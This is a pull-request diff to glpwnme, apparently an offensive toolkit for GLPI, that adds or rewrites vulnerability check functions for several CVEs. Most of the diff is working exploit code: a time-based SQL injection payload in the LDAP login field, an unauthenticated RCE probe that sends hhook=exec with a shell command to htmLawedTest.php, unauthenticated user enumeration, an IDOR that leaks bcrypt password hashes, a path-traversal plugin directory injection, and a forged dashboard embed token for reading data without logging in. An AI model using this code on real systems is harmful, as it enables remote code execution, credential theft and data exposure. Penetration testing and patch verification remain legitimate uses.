Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 28 additions & 11 deletions glpwnme/exploits/implementations/cve_2022_31061.py
Original file line number Diff line number Diff line change
Expand Up @@ -60,17 +60,34 @@ def check_result(self, res):
return False

def check(self):
"""
Check if the target is vulnerable to the Sql Injection
vulnerability
"""
endpoint = "/front/login.php"
others = {"auth": "ldap-1' UNION SELECT SLEEP(3) # ", "noAUTO": "0"}
start_time = time.time()
self.glpi_session.login("tech", "test", others=others, verbose=False)
if time.time() - start_time >= 3.0:
return True
return False
"""Differential time-based SQLi on the unauth login form.

Sink (captured live on 10.0.1 via general_log): auths_id = explode('-', auth)[1]
is assigned raw (Auth.php:741, no cast) and flows unescaped into getFromDBByCrit()
on the LDAP login branch. Fix 10.0.2 adds a regex + (int) cast. The quote survives
the global Sanitizer; the comment must be '#' (explode('-') would eat the dashes of
'--'). Needs an active LDAP method to reach the sink. A benign (non-injecting) login
must return fast, else the target is just slow and the timing is not a clean signal."""
t0 = time.time()
self.glpi_session.login("tech", "test", others={"auth": "ldap-1", "noAUTO": "0"}, verbose=False)
if time.time() - t0 >= 3.0:
Log.log("benign login already slow — server load, not a clean timing signal")
return False

true_others = {"auth": "ldap-1' UNION SELECT IF(1=1,SLEEP(3),0) # ", "noAUTO": "0"}
t0 = time.time()
self.glpi_session.login("tech", "test", others=true_others, verbose=False)
if time.time() - t0 < 3.0:
return False

false_others = {"auth": "ldap-1' UNION SELECT IF(1=2,SLEEP(3),0) # ", "noAUTO": "0"}
t0 = time.time()
self.glpi_session.login("tech", "test", others=false_others, verbose=False)
if time.time() - t0 >= 3.0:
return False

Log.msg("Differential timing confirmed — LDAP auth SQL injection present")
return True

def run(self, sleep_time=None):
"""
Expand Down
59 changes: 55 additions & 4 deletions glpwnme/exploits/implementations/cve_2022_35914.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
import requests
import base64
import re
import readline
import requests
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.utils import GlpiUtils
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from rich.prompt import Prompt
import warnings
from urllib3.exceptions import InsecureRequestWarning

class CVE_2022_35914(GlpiExploit):
"""
Expand Down Expand Up @@ -65,12 +68,60 @@ def infos(self):

def check(self):
"""
Check if the target is vulnerable
Behavioral RCE check via the htmLawed `hook` config (CVE-2022-35914).

htmLawedTest.php builds htmLawed's config from POST h-prefixed fields
(hhook -> config['hook']) and htmLawed then calls it as:
$t = $C['hook']($t, $C, $S); // 3 args: text, config, spec
So the hook is invoked with THREE arguments. PHP internal functions that
accept at most 1-2 args (base64_encode, system) error on the extra arg and
never execute — which is why a base64_encode probe silently fails. exec()
accepts up to 3 args [exec($cmd, &$output, &$return)], so hhook=exec with
text="echo <token>" runs the command and returns its last line into the
output. We use a random token so a hit cannot be a false positive.

The fix (GLPI 10.0.3+) blocks /vendor/htmlawed/htmlawed/htmLawedTest.php
(HTTP 403), so the request never reaches the hook. Verified: token echoed
on 10.0.2 (RCE), file 403 on 10.0.10.

htmLawedTest.php gates POST on $_POST[sid]==session_id()==COOKIE[sid] (plus
a token if the session set one). Supplying the same fresh sid in body+cookie
makes PHP adopt it as the session id (use_strict_mode is off by default).
"""
import re, html
endpoint = "/vendor/htmlawed/htmlawed/htmLawedTest.php"
res = self.get(endpoint, allow_redirects=False)
if res.status_code == HTTPStatus.OK:
url = self.glpi_session.r(endpoint)
token = GlpiUtils.random_str(20)

with warnings.catch_warnings():
warnings.simplefilter("ignore", InsecureRequestWarning)
# Fresh session: let PHP assign the sid; reuse exactly that id in body+cookie
sess = requests.Session()
g = sess.get(url, verify=False, allow_redirects=False, timeout=10)
if g.status_code != HTTPStatus.OK:
Log.log(f"htmLawedTest.php not reachable (HTTP {g.status_code}) — removed/blocked (patched 10.0.3+)")
return False
sid = sess.cookies.get("sid")
if not sid:
Log.log("No sid session cookie set by htmLawedTest.php — cannot drive the form")
return False
tok_field = re.search(r'name="token"[^>]*value="([^"]*)"', g.text)
probe = sess.post(
url,
data={"sid": sid, "token": tok_field.group(1) if tok_field else "",
"enc": "utf-8", "spec": "", "hhook": "exec", "text": f"echo {token}"},
cookies={"sid": sid},
verify=False, allow_redirects=False, timeout=10,
)
if probe.status_code != HTTPStatus.OK:
Log.log(f"Probe POST returned HTTP {probe.status_code}")
return False

stripped = html.unescape(re.sub(r"<[^>]+>", "", probe.text))
if token in stripped:
Log.msg("hhook=exec executed a shell command (token echoed) → unauthenticated RCE (CVE-2022-35914)")
return True
Log.log("hook did not execute — htmLawedTest.php hardened or hhook removed (patched)")
return False

def run(self):
Expand Down
23 changes: 23 additions & 0 deletions glpwnme/exploits/implementations/cve_2023_41323.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,29 @@ def infos(self):
infos += "\nExploit is [green b]Safe[/]"
return infos

def check(self):
"""Unauthenticated user enumeration: pre-10.0.10 front/user.form.php runs
getFromDBbyName($_GET['name']) and redirects to the matched user's form WITHOUT a
login check, leaking the id in the Location header. A LIKE lookup of a real user
yields ?id=<n>; a bogus name yields an empty id. 10.0.10 adds checkLoginUser()/
checkRight(User,READ), so both redirect to login (no id). Differential: a known user
resolves to an id and a random one does not, only on the vulnerable build."""
import re

def lookup(name):
r = self.get(f"/front/user.form.php?name[0]=LIKE&name[1]={name}", allow_redirects=False)
m = re.search(r"[?&]id=(\d+)", r.headers.get("Location", ""))
return m.group(1) if m else None

valid = lookup("glpi")
bogus = lookup("glpwnme_nope_" + GlpiUtils.random_str(8))
if valid is not None and bogus is None:
Log.msg(f"Unauthenticated username enumeration confirmed — 'glpi' resolves to id={valid}, "
f"a bogus name does not (CVE-2023-41323)")
return True
Log.log("user.form.php enumeration oracle closed (login/READ check enforced) — patched (10.0.10+)")
return False

def _get_user_id(self, name):
"""
Start the enumeration of the user
Expand Down
23 changes: 23 additions & 0 deletions glpwnme/exploits/implementations/cve_2024_27937.py
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,29 @@ def infos(self):
infos += "\nExploit is [green b]Super Safe[/]"
return infos

def check(self):
"""Authenticated IDOR field disclosure: pre-10.0.13 Session::validateIDOR() did not
bind the 'displaywith'/'condition' dropdown params into the IDOR token, so a user
could add displaywith[]=password to /ajax/getDropdownValue.php and read columns the
dropdown never intended to expose (e.g. the bcrypt password hash). 10.0.13 binds
them. Differential: requesting the User dropdown with displaywith=password leaks a
$2y$/$2a$ hash on the vulnerable build and only the id on the patched build."""
import io
import contextlib
buf = io.StringIO()
try:
with contextlib.redirect_stdout(buf):
self.run(itemtype="User", fields="id,password", page_limit="20")
except Exception:
pass
out = buf.getvalue()
if "$2y$" in out or "$2a$" in out:
Log.msg("displaywith=password leaked a bcrypt hash via the dropdown IDOR — field "
"disclosure confirmed (CVE-2024-27937)")
return True
Log.log("No password hash leaked — displaywith bound into IDOR token (patched 10.0.13+)")
return False

def _extract(self, name, html):
"""
Extract a regex from html
Expand Down
90 changes: 90 additions & 0 deletions glpwnme/exploits/implementations/cve_2024_37149.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import re
import time
import random
from http import HTTPStatus
from ..exploit import GlpiExploit
from ..privileges import Privs
Expand All @@ -23,6 +24,7 @@ class CVE_2024_37149(GlpiExploit):
max_version = "10.0.16"
_impacts = "RCE (through LFI and other tricks)"
_privilege = "Super-Admin"
_is_check_opsec_safe = False # check toggles the Superadmin config right and creates/removes a probe plugin row

@staticmethod
def _make_payload(id, column, val):
Expand Down Expand Up @@ -69,6 +71,94 @@ def infos(self):
infos += "\nExploit is [red b]Dangerous[/] (but use it !)"
return infos

def _add_plugin_raw(self, directory, plugin_name, state="0"):
"""Send the kanban add_item action for a Plugin with an arbitrary directory.
Returns the response object."""
plugin_add = {"itemtype": "Plugin",
"action": "add_item",
"inputs": f"name={plugin_name}&version=1.0&author=Guilhem&license=GPL&directory={directory}"}
if state == "1":
plugin_add["inputs"] += "&state=1"
return self.post("/ajax/kanban.php", data=plugin_add)

def _find_plugin_id(self, plugin_name):
"""Look the freshly created plugin up by name; return its id, '?' if the row
exists but the id could not be parsed, or None if absent."""
search_plugin = {
"action": "display_results",
"itemtype": "Plugin",
"criteria[0][link]": "AND",
"criteria[0][field]": "view",
"criteria[0][searchtype]": "contains",
"criteria[0][value]": plugin_name,
}
res = self.post("/ajax/search.php", data=search_plugin)
id_regex = re.compile(r"/front/plugin\.form\.php',\s?{'action':\s?'clean',\s?'id':\s?'(\d+?)'")
found = re.findall(id_regex, res.text)
if found:
return found[0]
if plugin_name in res.text:
return "?"
return None

def _purge_plugin(self, plugin_name):
"""Remove a probe plugin row matching plugin_name (best effort cleanup)."""
pid = self._find_plugin_id(plugin_name)
if pid and pid != "?":
self.post("/front/plugin.form.php", data={"action": "clean", "id": pid}, allow_redirects=False)

def check(self):
"""
Behavioral differential on Plugin directory validation.

The plugin loader includes a path built from the Plugin `directory` field.
Vulnerable builds store any value; patched builds (10.0.16+) reject anything
that is not /^[a-z0-9]+$/i.

Procedure (requires Super-Admin, not opsec safe):
1. grant Config CREATE so add_item Plugin is reachable
2. add_item with a traversal directory '../../../<probe>'
- vulnerable: HTTP 200, plugin row created
- patched: HTTP 400, no row (prepareInput rejects it)
3. false-positive control: add_item with a legal alphanumeric directory
must succeed on BOTH versions (proves the endpoint and the granted
right are live, so the rejection in step 2 is the fix and not a dead
path)
4. purge both probe rows and revert the config right
"""
suffix = str(random.randint(100000, 999999))
bad_name = "glpwnmebad" + suffix
ok_name = "glpwnmeok" + suffix
granted = False
try:
if not self._add_config_right("31"):
Log.log("Cannot grant Config CREATE — need Super-Admin to run a clean differential")
return False
granted = True

r_bad = self._add_plugin_raw("../../../glpwnmeprobe", bad_name)
bad_created = self._find_plugin_id(bad_name) is not None

r_ok = self._add_plugin_raw("glpwnmeplug" + suffix, ok_name)
ok_created = self._find_plugin_id(ok_name) is not None

# False-positive control: a legal directory must be accepted on both.
if not (r_ok.status_code == HTTPStatus.OK and ok_created):
Log.log("Legal-directory control did not create a plugin — endpoint/right not usable, not confirming")
return False

if r_bad.status_code == HTTPStatus.OK and bad_created:
Log.msg("Traversal plugin directory accepted (HTTP 200, row created) — plugin loader RCE reachable")
return True

Log.log(f"Traversal directory rejected (HTTP {r_bad.status_code}, row created={bad_created}) — patched (>= 10.0.16)")
return False
finally:
self._purge_plugin(bad_name)
self._purge_plugin(ok_name)
if granted:
self._add_config_right("3") # revert to default Config right

def _add_config_right(self, right="31"):
"""
Exploit mass assignment from super admin to add Config create right
Expand Down
44 changes: 44 additions & 0 deletions glpwnme/exploits/implementations/cve_2024_50339.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,50 @@ def infos(self):
infos += "Exploit is [b red]Dangerous[/b red]"
return infos

def check(self):
"""Unauthenticated chain. Pre-10.0.17 the installer endpoint front/install/update.php
runs without the can_process_update gate: POSTing it sets $_SESSION['telemetry_from_install'],
which makes ajax/telemetry.php serve its JSON unauthenticated. That JSON exposes the raw
instance_uuid, the salt for the dashboard embed token (GlpiUtils.calc_uuid('central', uuid)).
With the forged token, ajax/dashboard.php?embed=1 returns asset/user cards with no auth.
10.0.17 adds the can_process_update gate (update.php answers "Impossible to accomplish an
update by this way"), so telemetry stays auth-gated and the uuid cannot be recovered."""
# 1) unauth instance_uuid recovery via the installer-set telemetry flag
try:
self.post("/install/update.php", data={"continuer": "true"})
tel = self.get("/ajax/telemetry.php")
except Exception:
return False
m = re.findall(r"\{.*\}", tel.text, re.DOTALL)
if not m:
Log.log("telemetry.php not served unauthenticated — can_process_update gate enforced (patched 10.0.17+)")
return False
try:
instance_uuid = json.loads(m[0]).get("glpi", {}).get("uuid")
except Exception:
return False
if not instance_uuid or not instance_uuid.replace("*", ""):
Log.log("instance_uuid not recoverable / masked — patched")
return False
# 2) forge the dashboard embed token and read a user card unauthenticated
token = GlpiUtils.calc_uuid("central", instance_uuid)
data = '{"is_recursive":1,"entities_id":0,"dashboard":"central"}'
url = (f"/ajax/dashboard.php?embed=1&token={token}&action=get_card&card_id=bn_count_User"
f"&args[widgettype]=searchShowList&args[apply_filters][id]=2&data={data}"
f"&args[color]=ffffff&args[itemtype]=User&args[limit]=2000&args[s_criteria][][field]=1")
try:
r = self.glpi_session.sess.get(requote_uri(self.glpi_session.r(url)), verify=False,
allow_redirects=False, timeout=20)
except Exception:
return False
if r.status_code == HTTPStatus.OK and len(r.text) > 500:
Log.msg(f"Recovered instance_uuid unauth ({instance_uuid[:8]}...) and read a User dashboard "
f"card with a forged embed token → unauthenticated data disclosure / session hijack "
f"(CVE-2024-50339)")
return True
Log.log(f"Forged embed token rejected (HTTP {r.status_code}) — patched")
return False

def _hook_sessions(self, sessions):
"""
Hook sessions recovered to check their privileges
Expand Down
11 changes: 7 additions & 4 deletions glpwnme/exploits/implementations/cve_2025_24799.py
Original file line number Diff line number Diff line change
Expand Up @@ -114,10 +114,13 @@ def count_char(self, sql, time):
return self.dichotomi(length_payload, previous_length, try_length, time)

def check(self):
"""
Check if the target is vulnerable
"""
return self._run_sql_injection("1=1", 3)
"""Differential time-based check: TRUE sleep vs FALSE no-sleep."""
if not self._run_sql_injection("1=1", 3):
return False
if self._run_sql_injection("1=2", 3):
return False
Log.msg("Differential timing confirmed — inventory deviceid injection present")
return True

def sqli(self, payload, length_result, time):
"""
Expand Down
Loading